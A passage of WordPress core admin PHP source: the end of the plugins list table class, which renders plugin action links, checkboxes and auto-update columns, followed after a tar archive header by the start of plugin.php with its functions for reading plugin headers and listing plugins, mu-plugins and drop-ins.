							'<a href="%s" id="deactivate-%s" aria-label="%s">%s</a>',
							wp_nonce_url( 'plugins.php?action=deactivate&amp;plugin=' . urlencode( $plugin_file ) . '&amp;plugin_status=' . $context . '&amp;paged=' . $page . '&amp;s=' . $s, 'deactivate-plugin_' . $plugin_file ),
							esc_attr( $plugin_id_attr ),
							/* translators: %s: Plugin name. */
							esc_attr( sprintf( _x( 'Deactivate %s', 'plugin' ), $plugin_data['Name'] ) ),
							__( 'Deactivate' )
						);
					}

if ( current_user_can( 'resume_plugin', $plugin_file ) && is_plugin_paused( $plugin_file ) ) {
						$actions['resume'] = sprintf(
							'<a href="%s" id="resume-%s" class="resume-link" aria-label="%s">%s</a>',
							wp_nonce_url( 'plugins.php?action=resume&amp;plugin=' . urlencode( $plugin_file ) . '&amp;plugin_status=' . $context . '&amp;paged=' . $page . '&amp;s=' . $s, 'resume-plugin_' . $plugin_file ),
							esc_attr( $plugin_id_attr ),
							/* translators: %s: Plugin name. */
							esc_attr( sprintf( _x( 'Resume %s', 'plugin' ), $plugin_data['Name'] ) ),
							__( 'Resume' )
						);
					}
				} else {
					if ( current_user_can( 'activate_plugin', $plugin_file ) ) {
						$actions['activate'] = sprintf(
							'<a href="%s" id="activate-%s" class="edit" aria-label="%s">%s</a>',
							wp_nonce_url( 'plugins.php?action=activate&amp;plugin=' . urlencode( $plugin_file ) . '&amp;plugin_status=' . $context . '&amp;paged=' . $page . '&amp;s=' . $s, 'activate-plugin_' . $plugin_file ),
							esc_attr( $plugin_id_attr ),
							/* translators: %s: Plugin name. */
							esc_attr( sprintf( _x( 'Activate %s', 'plugin' ), $plugin_data['Name'] ) ),
							__( 'Activate' )
						);
					}

if ( ! is_multisite() && current_user_can( 'delete_plugins' ) ) {
						$actions['delete'] = sprintf(
							'<a href="%s" id="delete-%s" class="delete" aria-label="%s">%s</a>',
							wp_nonce_url( 'plugins.php?action=delete-selected&amp;checked[]=' . urlencode( $plugin_file ) . '&amp;plugin_status=' . $context . '&amp;paged=' . $page . '&amp;s=' . $s, 'bulk-plugins' ),
							esc_attr( $plugin_id_attr ),
							/* translators: %s: Plugin name. */
							esc_attr( sprintf( _x( 'Delete %s', 'plugin' ), $plugin_data['Name'] ) ),
							__( 'Delete' )
						);
					}
				} // End if $is_active.
			} // End if $screen->in_admin( 'network' ).
		} // End if $context.

$actions = array_filter( $actions );

if ( $screen->in_admin( 'network' ) ) {

/**
			 * Filters the action links displayed for each plugin in the Network Admin Plugins list table.
			 *
			 * @since 3.1.0
			 *
			 * @param string[] $actions     An array of plugin action links. By default this can include 'activate',
			 *                              'deactivate', and 'delete'.
			 * @param string   $plugin_file Path to the plugin file relative to the plugins directory.
			 * @param array    $plugin_data An array of plugin data. See `get_plugin_data()`.
			 * @param string   $context     The plugin context. By default this can include 'all', 'active', 'inactive',
			 *                              'recently_activated', 'upgrade', 'mustuse', 'dropins', and 'search'.
			 */
			$actions = apply_filters( 'network_admin_plugin_action_links', $actions, $plugin_file, $plugin_data, $context );

/**
			 * Filters the list of action links displayed for a specific plugin in the Network Admin Plugins list table.
			 *
			 * The dynamic portion of the hook name, `$plugin_file`, refers to the path
			 * to the plugin file, relative to the plugins directory.
			 *
			 * @since 3.1.0
			 *
			 * @param string[] $actions     An array of plugin action links. By default this can include 'activate',
			 *                              'deactivate', and 'delete'.
			 * @param string   $plugin_file Path to the plugin file relative to the plugins directory.
			 * @param array    $plugin_data An array of plugin data. See `get_plugin_data()`.
			 * @param string   $context     The plugin context. By default this can include 'all', 'active', 'inactive',
			 *                              'recently_activated', 'upgrade', 'mustuse', 'dropins', and 'search'.
			 */
			$actions = apply_filters( "network_admin_plugin_action_links_{$plugin_file}", $actions, $plugin_file, $plugin_data, $context );

} else {

/**
			 * Filters the action links displayed for each plugin in the Plugins list table.
			 *
			 * @since 2.5.0
			 * @since 2.6.0 The `$context` parameter was added.
			 * @since 4.9.0 The 'Edit' link was removed from the list of action links.
			 *
			 * @param string[] $actions     An array of plugin action links. By default this can include 'activate',
			 *                              'deactivate', and 'delete'. With Multisite active this can also include
			 *                              'network_active' and 'network_only' items.
			 * @param string   $plugin_file Path to the plugin file relative to the plugins directory.
			 * @param array    $plugin_data An array of plugin data. See `get_plugin_data()`.
			 * @param string   $context     The plugin context. By default this can include 'all', 'active', 'inactive',
			 *                              'recently_activated', 'upgrade', 'mustuse', 'dropins', and 'search'.
			 */
			$actions = apply_filters( 'plugin_action_links', $actions, $plugin_file, $plugin_data, $context );

/**
			 * Filters the list of action links displayed for a specific plugin in the Plugins list table.
			 *
			 * The dynamic portion of the hook name, `$plugin_file`, refers to the path
			 * to the plugin file, relative to the plugins directory.
			 *
			 * @since 2.7.0
			 * @since 4.9.0 The 'Edit' link was removed from the list of action links.
			 *
			 * @param string[] $actions     An array of plugin action links. By default this can include 'activate',
			 *                              'deactivate', and 'delete'. With Multisite active this can also include
			 *                              'network_active' and 'network_only' items.
			 * @param string   $plugin_file Path to the plugin file relative to the plugins directory.
			 * @param array    $plugin_data An array of plugin data. See `get_plugin_data()`.
			 * @param string   $context     The plugin context. By default this can include 'all', 'active', 'inactive',
			 *                              'recently_activated', 'upgrade', 'mustuse', 'dropins', and 'search'.
			 */
			$actions = apply_filters( "plugin_action_links_{$plugin_file}", $actions, $plugin_file, $plugin_data, $context );

}

$requires_php   = isset( $plugin_data['requires_php'] ) ? $plugin_data['requires_php'] : null;
		$compatible_php = is_php_version_compatible( $requires_php );
		$class          = $is_active ? 'active' : 'inactive';
		$checkbox_id    = 'checkbox_' . md5( $plugin_data['Name'] );
		if ( $restrict_network_active || $restrict_network_only || in_array( $status, array( 'mustuse', 'dropins' ), true ) || ! $compatible_php ) {
			$checkbox = '';
		} else {
			$checkbox = sprintf(
				'<label class="screen-reader-text" for="%1$s">%2$s</label>' .
				'<input type="checkbox" name="checked[]" value="%3$s" id="%1$s" />',
				$checkbox_id,
				/* translators: %s: Plugin name. */
				sprintf( __( 'Select %s' ), $plugin_data['Name'] ),
				esc_attr( $plugin_file )
			);
		}
		if ( 'dropins' !== $context ) {
			$description = '<p>' . ( $plugin_data['Description'] ? $plugin_data['Description'] : '&nbsp;' ) . '</p>';
			$plugin_name = $plugin_data['Name'];
		}

if ( ! empty( $totals['upgrade'] ) && ! empty( $plugin_data['update'] ) ) {
			$class .= ' update';
		}

$paused = ! $screen->in_admin( 'network' ) && is_plugin_paused( $plugin_file );

if ( $paused ) {
			$class .= ' paused';
		}

if ( is_uninstallable_plugin( $plugin_file ) ) {
			$class .= ' is-uninstallable';
		}

printf(
			'<tr class="%s" data-slug="%s" data-plugin="%s">',
			esc_attr( $class ),
			esc_attr( $plugin_slug ),
			esc_attr( $plugin_file )
		);

list( $columns, $hidden, $sortable, $primary ) = $this->get_column_info();

$auto_updates      = (array) get_site_option( 'auto_update_plugins', array() );
		$available_updates = get_site_transient( 'update_plugins' );

foreach ( $columns as $column_name => $column_display_name ) {
			$extra_classes = '';
			if ( in_array( $column_name, $hidden, true ) ) {
				$extra_classes = ' hidden';
			}

switch ( $column_name ) {
				case 'cb':
					echo "<th scope='row' class='check-column'>$checkbox</th>";
					break;
				case 'name':
					echo "<td class='plugin-title column-primary'><strong>$plugin_name</strong>";
					echo $this->row_actions( $actions, true );
					echo '</td>';
					break;
				case 'description':
					$classes = 'column-description desc';

echo "<td class='$classes{$extra_classes}'>
						<div class='plugin-description'>$description</div>
						<div class='$class second plugin-version-author-uri'>";

$plugin_meta = array();
					if ( ! empty( $plugin_data['Version'] ) ) {
						/* translators: %s: Plugin version number. */
						$plugin_meta[] = sprintf( __( 'Version %s' ), $plugin_data['Version'] );
					}
					if ( ! empty( $plugin_data['Author'] ) ) {
						$author = $plugin_data['Author'];
						if ( ! empty( $plugin_data['AuthorURI'] ) ) {
							$author = '<a href="' . $plugin_data['AuthorURI'] . '">' . $plugin_data['Author'] . '</a>';
						}
						/* translators: %s: Plugin author name. */
						$plugin_meta[] = sprintf( __( 'By %s' ), $author );
					}

// Details link using API info, if available.
					if ( isset( $plugin_data['slug'] ) && current_user_can( 'install_plugins' ) ) {
						$plugin_meta[] = sprintf(
							'<a href="%s" class="thickbox open-plugin-details-modal" aria-label="%s" data-title="%s">%s</a>',
							esc_url(
								network_admin_url(
									'plugin-install.php?tab=plugin-information&plugin=' . $plugin_data['slug'] .
									'&TB_iframe=true&width=600&height=550'
								)
							),
							/* translators: %s: Plugin name. */
							esc_attr( sprintf( __( 'More information about %s' ), $plugin_name ) ),
							esc_attr( $plugin_name ),
							__( 'View details' )
						);
					} elseif ( ! empty( $plugin_data['PluginURI'] ) ) {
						$plugin_meta[] = sprintf(
							'<a href="%s">%s</a>',
							esc_url( $plugin_data['PluginURI'] ),
							__( 'Visit plugin site' )
						);
					}

/**
					 * Filters the array of row meta for each plugin in the Plugins list table.
					 *
					 * @since 2.8.0
					 *
					 * @param string[] $plugin_meta An array of the plugin's metadata, including
					 *                              the version, author, author URI, and plugin URI.
					 * @param string   $plugin_file Path to the plugin file relative to the plugins directory.
					 * @param array    $plugin_data An array of plugin data.
					 * @param string   $status      Status filter currently applied to the plugin list. Possible
					 *                              values are: 'all', 'active', 'inactive', 'recently_activated',
					 *                              'upgrade', 'mustuse', 'dropins', 'search', 'paused',
					 *                              'auto-update-enabled', 'auto-update-disabled'.
					 */
					$plugin_meta = apply_filters( 'plugin_row_meta', $plugin_meta, $plugin_file, $plugin_data, $status );

echo implode( ' | ', $plugin_meta );

echo '</div>';

if ( $paused ) {
						$notice_text = __( 'This plugin failed to load properly and is paused during recovery mode.' );

printf( '<p><span class="dashicons dashicons-warning"></span> <strong>%s</strong></p>', $notice_text );

$error = wp_get_plugin_error( $plugin_file );

if ( false !== $error ) {
							printf( '<div class="error-display"><p>%s</p></div>', wp_get_extension_error_description( $error ) );
						}
					}

echo '</td>';
					break;
				case 'auto-updates':
					if ( ! $this->show_autoupdates ) {
						break;
					}

echo "<td class='column-auto-updates{$extra_classes}'>";

$html = array();

if ( isset( $plugin_data['auto-update-forced'] ) ) {
						if ( $plugin_data['auto-update-forced'] ) {
							// Forced on.
							$text = __( 'Auto-updates enabled' );
						} else {
							$text = __( 'Auto-updates disabled' );
						}
						$action     = 'unavailable';
						$time_class = ' hidden';
					} elseif ( empty( $plugin_data['update-supported'] ) ) {
						$text       = '';
						$action     = 'unavailable';
						$time_class = ' hidden';
					} elseif ( in_array( $plugin_file, $auto_updates, true ) ) {
						$text       = __( 'Disable auto-updates' );
						$action     = 'disable';
						$time_class = '';
					} else {
						$text       = __( 'Enable auto-updates' );
						$action     = 'enable';
						$time_class = ' hidden';
					}

$query_args = array(
						'action'        => "{$action}-auto-update",
						'plugin'        => $plugin_file,
						'paged'         => $page,
						'plugin_status' => $status,
					);

$url = add_query_arg( $query_args, 'plugins.php' );

if ( 'unavailable' == $action ) {
						$html[] = '<span class="label">' . $text . '</span>';
					} else {
						$html[] = sprintf(
							'<a href="%s" class="toggle-auto-update aria-button-if-js" data-wp-action="%s">',
							wp_nonce_url( $url, 'updates' ),
							$action
						);

$html[] = '<span class="dashicons dashicons-update spin hidden" aria-hidden="true"></span>';
						$html[] = '<span class="label">' . $text . '</span>';
						$html[] = '</a>';
					}

if ( ! empty( $plugin_data['update'] ) ) {
						$html[] = sprintf(
							'<div class="auto-update-time%s">%s</div>',
							$time_class,
							wp_get_auto_update_message()
						);
					}

$html = implode( '', $html );

/**
					 * Filters the HTML of the auto-updates setting for each plugin in the Plugins list table.
					 *
					 * @since 5.5.0
					 *
					 * @param string $html        The HTML of the plugin's auto-update column content, including
					 *                            toggle auto-update action links and time to next update.
					 * @param string $plugin_file Path to the plugin file relative to the plugins directory.
					 * @param array  $plugin_data An array of plugin data.
					 */
					echo apply_filters( 'plugin_auto_update_setting_html', $html, $plugin_file, $plugin_data );

echo '<div class="notice notice-error notice-alt inline hidden"><p></p></div>';
					echo '</td>';

break;
				default:
					$classes = "$column_name column-$column_name $class";

echo "<td class='$classes{$extra_classes}'>";

/**
					 * Fires inside each custom column of the Plugins list table.
					 *
					 * @since 3.1.0
					 *
					 * @param string $column_name Name of the column.
					 * @param string $plugin_file Path to the plugin file relative to the plugins directory.
					 * @param array  $plugin_data An array of plugin data.
					 */
					do_action( 'manage_plugins_custom_column', $column_name, $plugin_file, $plugin_data );

echo '</td>';
			}
		}

echo '</tr>';

/**
		 * Fires after each row in the Plugins list table.
		 *
		 * @since 2.3.0
		 * @since 5.5.0 Added 'auto-update-enabled' and 'auto-update-disabled' to possible values for `$status`.
		 *
		 * @param string $plugin_file Path to the plugin file relative to the plugins directory.
		 * @param array  $plugin_data An array of plugin data.
		 * @param string $status      Status filter currently applied to the plugin list. Possible
		 *                            values are: 'all', 'active', 'inactive', 'recently_activated',
		 *                            'upgrade', 'mustuse', 'dropins', 'search', 'paused',
		 *                            'auto-update-enabled', 'auto-update-disabled'.
		 */
		do_action( 'after_plugin_row', $plugin_file, $plugin_data, $status );

/**
		 * Fires after each specific row in the Plugins list table.
		 *
		 * The dynamic portion of the hook name, `$plugin_file`, refers to the path
		 * to the plugin file, relative to the plugins directory.
		 *
		 * @since 2.7.0
		 * @since 5.5.0 Added 'auto-update-enabled' and 'auto-update-disabled' to possible values for `$status`.
		 *
		 * @param string $plugin_file Path to the plugin file relative to the plugins directory.
		 * @param array  $plugin_data An array of plugin data.
		 * @param string $status      Status filter currently applied to the plugin list. Possible
		 *                            values are: 'all', 'active', 'inactive', 'recently_activated',
		 *                            'upgrade', 'mustuse', 'dropins', 'search', 'paused',
		 *                            'auto-update-enabled', 'auto-update-disabled'.
		 */
		do_action( "after_plugin_row_{$plugin_file}", $plugin_file, $plugin_data, $status );
	}

/**
	 * Gets the name of the primary column for this specific list table.
	 *
	 * @since 4.3.0
	 *
	 * @return string Unalterable name for the primary column, in this case, 'name'.
	 */
	protected function get_primary_column_name() {
		return 'name';
	}
}
�plugin.php������������������������������������������������������������������������������������������0000604�����������������00000247675�15075125354�0006603 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * WordPress Plugin Administration API
 *
 * @package WordPress
 * @subpackage Administration
 */

/**
 * Parses the plugin contents to retrieve plugin's metadata.
 *
 * All plugin headers must be on their own line. Plugin description must not have
 * any newlines, otherwise only parts of the description will be displayed.
 * The below is formatted for printing.
 *
 *     /*
 *     Plugin Name: Name of the plugin.
 *     Plugin URI: The home page of the plugin.
 *     Description: Plugin description.
 *     Author: Plugin author's name.
 *     Author URI: Link to the author's website.
 *     Version: Plugin version.
 *     Text Domain: Optional. Unique identifier, should be same as the one used in
 *          load_plugin_textdomain().
 *     Domain Path: Optional. Only useful if the translations are located in a
 *          folder above the plugin's base path. For example, if .mo files are
 *          located in the locale folder then Domain Path will be "/locale/" and
 *          must have the first slash. Defaults to the base folder the plugin is
 *          located in.
 *     Network: Optional. Specify "Network: true" to require that a plugin is activated
 *          across all sites in an installation. This will prevent a plugin from being
 *          activated on a single site when Multisite is enabled.
 *     Requires at least: Optional. Specify the minimum required WordPress version.
 *     Requires PHP: Optional. Specify the minimum required PHP version.
 *     * / # Remove the space to close comment.
 *
 * The first 8 KB of the file will be pulled in and if the plugin data is not
 * within that first 8 KB, then the plugin author should correct their plugin
 * and move the plugin data headers to the top.
 *
 * The plugin file is assumed to have permissions to allow for scripts to read
 * the file. This is not checked however and the file is only opened for
 * reading.
 *
 * @since 1.5.0
 * @since 5.3.0 Added support for `Requires at least` and `Requires PHP` headers.
 *
 * @param string $plugin_file Absolute path to the main plugin file.
 * @param bool   $markup      Optional. If the returned data should have HTML markup applied.
 *                            Default true.
 * @param bool   $translate   Optional. If the returned data should be translated. Default true.
 * @return array {
 *     Plugin data. Values will be empty if not supplied by the plugin.
 *
 *     @type string $Name        Name of the plugin. Should be unique.
 *     @type string $Title       Title of the plugin and link to the plugin's site (if set).
 *     @type string $Description Plugin description.
 *     @type string $Author      Author's name.
 *     @type string $AuthorURI   Author's website address (if set).
 *     @type string $Version     Plugin version.
 *     @type string $TextDomain  Plugin textdomain.
 *     @type string $DomainPath  Plugins relative directory path to .mo files.
 *     @type bool   $Network     Whether the plugin can only be activated network-wide.
 *     @type string $RequiresWP  Minimum required version of WordPress.
 *     @type string $RequiresPHP Minimum required version of PHP.
 * }
 */
function get_plugin_data( $plugin_file, $markup = true, $translate = true ) {

$default_headers = array(
		'Name'        => 'Plugin Name',
		'PluginURI'   => 'Plugin URI',
		'Version'     => 'Version',
		'Description' => 'Description',
		'Author'      => 'Author',
		'AuthorURI'   => 'Author URI',
		'TextDomain'  => 'Text Domain',
		'DomainPath'  => 'Domain Path',
		'Network'     => 'Network',
		'RequiresWP'  => 'Requires at least',
		'RequiresPHP' => 'Requires PHP',
		// Site Wide Only is deprecated in favor of Network.
		'_sitewide'   => 'Site Wide Only',
	);

$plugin_data = get_file_data( $plugin_file, $default_headers, 'plugin' );

// Site Wide Only is the old header for Network.
	if ( ! $plugin_data['Network'] && $plugin_data['_sitewide'] ) {
		/* translators: 1: Site Wide Only: true, 2: Network: true */
		_deprecated_argument( __FUNCTION__, '3.0.0', sprintf( __( 'The %1$s plugin header is deprecated. Use %2$s instead.' ), '<code>Site Wide Only: true</code>', '<code>Network: true</code>' ) );
		$plugin_data['Network'] = $plugin_data['_sitewide'];
	}
	$plugin_data['Network'] = ( 'true' === strtolower( $plugin_data['Network'] ) );
	unset( $plugin_data['_sitewide'] );

// If no text domain is defined fall back to the plugin slug.
	if ( ! $plugin_data['TextDomain'] ) {
		$plugin_slug = dirname( plugin_basename( $plugin_file ) );
		if ( '.' !== $plugin_slug && false === strpos( $plugin_slug, '/' ) ) {
			$plugin_data['TextDomain'] = $plugin_slug;
		}
	}

if ( $markup || $translate ) {
		$plugin_data = _get_plugin_data_markup_translate( $plugin_file, $plugin_data, $markup, $translate );
	} else {
		$plugin_data['Title']      = $plugin_data['Name'];
		$plugin_data['AuthorName'] = $plugin_data['Author'];
	}

return $plugin_data;
}

/**
 * Sanitizes plugin data, optionally adds markup, optionally translates.
 *
 * @since 2.7.0
 *
 * @see get_plugin_data()
 *
 * @access private
 *
 * @param string $plugin_file Path to the main plugin file.
 * @param array  $plugin_data An array of plugin data. See `get_plugin_data()`.
 * @param bool   $markup      Optional. If the returned data should have HTML markup applied.
 *                            Default true.
 * @param bool   $translate   Optional. If the returned data should be translated. Default true.
 * @return array {
 *     Plugin data. Values will be empty if not supplied by the plugin.
 *
 *     @type string $Name        Name of the plugin. Should be unique.
 *     @type string $Title       Title of the plugin and link to the plugin's site (if set).
 *     @type string $Description Plugin description.
 *     @type string $Author      Author's name.
 *     @type string $AuthorURI   Author's website address (if set).
 *     @type string $Version     Plugin version.
 *     @type string $TextDomain  Plugin textdomain.
 *     @type string $DomainPath  Plugins relative directory path to .mo files.
 *     @type bool   $Network     Whether the plugin can only be activated network-wide.
 * }
 */
function _get_plugin_data_markup_translate( $plugin_file, $plugin_data, $markup = true, $translate = true ) {

// Sanitize the plugin filename to a WP_PLUGIN_DIR relative path.
	$plugin_file = plugin_basename( $plugin_file );

// Translate fields.
	if ( $translate ) {
		$textdomain = $plugin_data['TextDomain'];
		if ( $textdomain ) {
			if ( ! is_textdomain_loaded( $textdomain ) ) {
				if ( $plugin_data['DomainPath'] ) {
					load_plugin_textdomain( $textdomain, false, dirname( $plugin_file ) . $plugin_data['DomainPath'] );
				} else {
					load_plugin_textdomain( $textdomain, false, dirname( $plugin_file ) );
				}
			}
		} elseif ( 'hello.php' === basename( $plugin_file ) ) {
			$textdomain = 'default';
		}
		if ( $textdomain ) {
			foreach ( array( 'Name', 'PluginURI', 'Description', 'Author', 'AuthorURI', 'Version' ) as $field ) {
				// phpcs:ignore WordPress.WP.I18n.LowLevelTranslationFunction,WordPress.WP.I18n.NonSingularStringLiteralText,WordPress.WP.I18n.NonSingularStringLiteralDomain
				$plugin_data[ $field ] = translate( $plugin_data[ $field ], $textdomain );
			}
		}
	}

// Sanitize fields.
	$allowed_tags_in_links = array(
		'abbr'    => array( 'title' => true ),
		'acronym' => array( 'title' => true ),
		'code'    => true,
		'em'      => true,
		'strong'  => true,
	);

$allowed_tags      = $allowed_tags_in_links;
	$allowed_tags['a'] = array(
		'href'  => true,
		'title' => true,
	);

// Name is marked up inside <a> tags. Don't allow these.
	// Author is too, but some plugins have used <a> here (omitting Author URI).
	$plugin_data['Name']   = wp_kses( $plugin_data['Name'], $allowed_tags_in_links );
	$plugin_data['Author'] = wp_kses( $plugin_data['Author'], $allowed_tags );

$plugin_data['Description'] = wp_kses( $plugin_data['Description'], $allowed_tags );
	$plugin_data['Version']     = wp_kses( $plugin_data['Version'], $allowed_tags );

$plugin_data['PluginURI'] = esc_url( $plugin_data['PluginURI'] );
	$plugin_data['AuthorURI'] = esc_url( $plugin_data['AuthorURI'] );

$plugin_data['Title']      = $plugin_data['Name'];
	$plugin_data['AuthorName'] = $plugin_data['Author'];

// Apply markup.
	if ( $markup ) {
		if ( $plugin_data['PluginURI'] && $plugin_data['Name'] ) {
			$plugin_data['Title'] = '<a href="' . $plugin_data['PluginURI'] . '">' . $plugin_data['Name'] . '</a>';
		}

if ( $plugin_data['AuthorURI'] && $plugin_data['Author'] ) {
			$plugin_data['Author'] = '<a href="' . $plugin_data['AuthorURI'] . '">' . $plugin_data['Author'] . '</a>';
		}

$plugin_data['Description'] = wptexturize( $plugin_data['Description'] );

if ( $plugin_data['Author'] ) {
			$plugin_data['Description'] .= sprintf(
				/* translators: %s: Plugin author. */
				' <cite>' . __( 'By %s.' ) . '</cite>',
				$plugin_data['Author']
			);
		}
	}

return $plugin_data;
}

/**
 * Get a list of a plugin's files.
 *
 * @since 2.8.0
 *
 * @param string $plugin Path to the plugin file relative to the plugins directory.
 * @return string[] Array of file names relative to the plugin root.
 */
function get_plugin_files( $plugin ) {
	$plugin_file = WP_PLUGIN_DIR . '/' . $plugin;
	$dir         = dirname( $plugin_file );

$plugin_files = array( plugin_basename( $plugin_file ) );

if ( is_dir( $dir ) && WP_PLUGIN_DIR !== $dir ) {

/**
		 * Filters the array of excluded directories and files while scanning the folder.
		 *
		 * @since 4.9.0
		 *
		 * @param string[] $exclusions Array of excluded directories and files.
		 */
		$exclusions = (array) apply_filters( 'plugin_files_exclusions', array( 'CVS', 'node_modules', 'vendor', 'bower_components' ) );

$list_files = list_files( $dir, 100, $exclusions );
		$list_files = array_map( 'plugin_basename', $list_files );

$plugin_files = array_merge( $plugin_files, $list_files );
		$plugin_files = array_values( array_unique( $plugin_files ) );
	}

return $plugin_files;
}

/**
 * Check the plugins directory and retrieve all plugin files with plugin data.
 *
 * WordPress only supports plugin files in the base plugins directory
 * (wp-content/plugins) and in one directory above the plugins directory
 * (wp-content/plugins/my-plugin). The file it looks for has the plugin data
 * and must be found in those two locations. It is recommended to keep your
 * plugin files in their own directories.
 *
 * The file with the plugin data is the file that will be included and therefore
 * needs to have the main execution for the plugin. This does not mean
 * everything must be contained in the file and it is recommended that the file
 * be split for maintainability. Keep everything in one file for extreme
 * optimization purposes.
 *
 * @since 1.5.0
 *
 * @param string $plugin_folder Optional. Relative path to single plugin folder.
 * @return array[] Array of arrays of plugin data, keyed by plugin file name. See `get_plugin_data()`.
 */
function get_plugins( $plugin_folder = '' ) {

$cache_plugins = wp_cache_get( 'plugins', 'plugins' );
	if ( ! $cache_plugins ) {
		$cache_plugins = array();
	}

if ( isset( $cache_plugins[ $plugin_folder ] ) ) {
		return $cache_plugins[ $plugin_folder ];
	}

$wp_plugins  = array();
	$plugin_root = WP_PLUGIN_DIR;
	if ( ! empty( $plugin_folder ) ) {
		$plugin_root .= $plugin_folder;
	}

// Files in wp-content/plugins directory.
	$plugins_dir  = @ opendir( $plugin_root );
	$plugin_files = array();

if ( $plugins_dir ) {
		while ( ( $file = readdir( $plugins_dir ) ) !== false ) {
			if ( '.' === substr( $file, 0, 1 ) ) {
				continue;
			}

if ( is_dir( $plugin_root . '/' . $file ) ) {
				$plugins_subdir = @ opendir( $plugin_root . '/' . $file );

if ( $plugins_subdir ) {
					while ( ( $subfile = readdir( $plugins_subdir ) ) !== false ) {
						if ( '.' === substr( $subfile, 0, 1 ) ) {
							continue;
						}

if ( '.php' === substr( $subfile, -4 ) ) {
							$plugin_files[] = "$file/$subfile";
						}
					}

closedir( $plugins_subdir );
				}
			} else {
				if ( '.php' === substr( $file, -4 ) ) {
					$plugin_files[] = $file;
				}
			}
		}

closedir( $plugins_dir );
	}

if ( empty( $plugin_files ) ) {
		return $wp_plugins;
	}

foreach ( $plugin_files as $plugin_file ) {
		if ( ! is_readable( "$plugin_root/$plugin_file" ) ) {
			continue;
		}

// Do not apply markup/translate as it will be cached.
		$plugin_data = get_plugin_data( "$plugin_root/$plugin_file", false, false );

if ( empty( $plugin_data['Name'] ) ) {
			continue;
		}

$wp_plugins[ plugin_basename( $plugin_file ) ] = $plugin_data;
	}

uasort( $wp_plugins, '_sort_uname_callback' );

$cache_plugins[ $plugin_folder ] = $wp_plugins;
	wp_cache_set( 'plugins', $cache_plugins, 'plugins' );

return $wp_plugins;
}

/**
 * Check the mu-plugins directory and retrieve all mu-plugin files with any plugin data.
 *
 * WordPress only includes mu-plugin files in the base mu-plugins directory (wp-content/mu-plugins).
 *
 * @since 3.0.0
 * @return array[] Array of arrays of mu-plugin data, keyed by plugin file name. See `get_plugin_data()`.
 */
function get_mu_plugins() {
	$wp_plugins   = array();
	$plugin_files = array();

if ( ! is_dir( WPMU_PLUGIN_DIR ) ) {
		return $wp_plugins;
	}

// Files in wp-content/mu-plugins directory.
	$plugins_dir = @opendir( WPMU_PLUGIN_DIR );
	if ( $plugins_dir ) {
		while ( ( $file = readdir( $plugins_dir ) ) !== false ) {
			if ( '.php' === substr( $file, -4 ) ) {
				$plugin_files[] = $file;
			}
		}
	} else {
		return $wp_plugins;
	}

closedir( $plugins_dir );

if ( empty( $plugin_files ) ) {
		return $wp_plugins;
	}

foreach ( $plugin_files as $plugin_file ) {
		if ( ! is_readable( WPMU_PLUGIN_DIR . "/$plugin_file" ) ) {
			continue;
		}

// Do not apply markup/translate as it will be cached.
		$plugin_data = get_plugin_data( WPMU_PLUGIN_DIR . "/$plugin_file", false, false );

if ( empty( $plugin_data['Name'] ) ) {
			$plugin_data['Name'] = $plugin_file;
		}

$wp_plugins[ $plugin_file ] = $plugin_data;
	}

if ( isset( $wp_plugins['index.php'] ) && filesize( WPMU_PLUGIN_DIR . '/index.php' ) <= 30 ) {
		// Silence is golden.
		unset( $wp_plugins['index.php'] );
	}

uasort( $wp_plugins, '_sort_uname_callback' );

return $wp_plugins;
}

/**
 * Callback to sort array by a 'Name' key.
 *
 * @since 3.1.0
 *
 * @access private
 *
 * @param array $a array with 'Name' key.
 * @param array $b array with 'Name' key.
 * @return int Return 0 or 1 based on two string comparison.
 */
function _sort_uname_callback( $a, $b ) {
	return strnatcasecmp( $a['Name'], $b['Name'] );
}

/**
 * Check the wp-content directory and retrieve all drop-ins with any plugin data.
 *
 * @since 3.0.0
 * @return array[] Array of arrays of dropin plugin data, keyed by plugin file name. See `get_plugin_data()`.
 */
function get_dropins() {
	$dropins      = array();
	$plugin_files = array();

$_dropins = _get_dropins();

// Files in wp-content directory.
	$plugins_dir = @opendir( WP_CONTENT_DIR );
	if ( $plugins_dir ) {
		while ( ( $file = readdir( $plugins_dir ) ) !== false ) {
			if ( isset( $_dropins[ $file ] ) ) {
				$plugin_files[] = $file;
			}
		}
	} else {
		return $dropins;
	}

closedir( $plugins_dir );

if ( empty( $plugin_files ) ) {
		return $dropins;
	}

foreach ( $plugin_files as $plugin_file ) {
		if ( ! is_readable( WP_CONTENT_DIR . "/$plugin_file" ) ) {
			continue;
		}

// Do not apply markup/translate as it will be cached.
		$plugin_data = get_plugin_data( WP_CONTENT_DIR . "/$plugin_file", false, false );

if ( empty( $plugin_data['Name'] ) ) {
			$plugin_data['Name'] = $plugin_file;
		}

$dropins[ $plugin_file ] = $plugin_data;
	}

uksort( $dropins, 'strnatcasecmp' );

return $dropins;
}

/**
 * Returns drop-ins that WordPress uses.
 *
 * Includes Multisite drop-ins only when is_multisite()
 *
 * @since 3.0.0
 * @return array[] Key is file name. The value is an array, with the first value the
 *  purpose of the drop-in and the second value the name of the constant that must be
 *  true for the drop-in to be used, or true if no constant is required.
 */
function _get_dropins() {
	$dropins = array(
		'advanced-cache.php'      => array( __( 'Advanced caching plugin.' ), 'WP_CACHE' ),  // WP_CACHE
		'db.php'                  => array( __( 'Custom database class.' ), true ),          // Auto on load.
		'db-error.php'            => array( __( 'Custom database error message.' ), true ),  // Auto on error.
		'install.php'             => array( __( 'Custom installation script.' ), true ),     // Auto on installation.
		'maintenance.php'         => array( __( 'Custom maintenance message.' ), true ),     // Auto on maintenance.
		'object-cache.php'        => array( __( 'External object cache.' ), true ),          // Auto on load.
		'php-error.php'           => array( __( 'Custom PHP error message.' ), true ),       // Auto on error.
		'fatal-error-handler.php' => array( __( 'Custom PHP fatal error handler.' ), true ), // Auto on error.
	);

if ( is_multisite() ) {
		$dropins['sunrise.php']        = array( __( 'Executed before Multisite is loaded.' ), 'SUNRISE' ); // SUNRISE
		$dropins['blog-deleted.php']   = array( __( 'Custom site deleted message.' ), true );   // Auto on deleted blog.
		$dropins['blog-inactive.php']  = array( __( 'Custom site inactive message.' ), true );  // Auto on inactive blog.
		$dropins['blog-suspended.php'] = array( __( 'Custom site suspended message.' ), true ); // Auto on archived or spammed blog.
	}

return $dropins;
}

/**
 * Determines whether a plugin is active.
 *
 * Only plugins installed in the plugins/ folder can be active.
 *
 * Plugins in the mu-plugins/ folder can't be "activated," so this function will
 * return false for those plugins.
 *
 * For more information on this and similar theme functions, check out
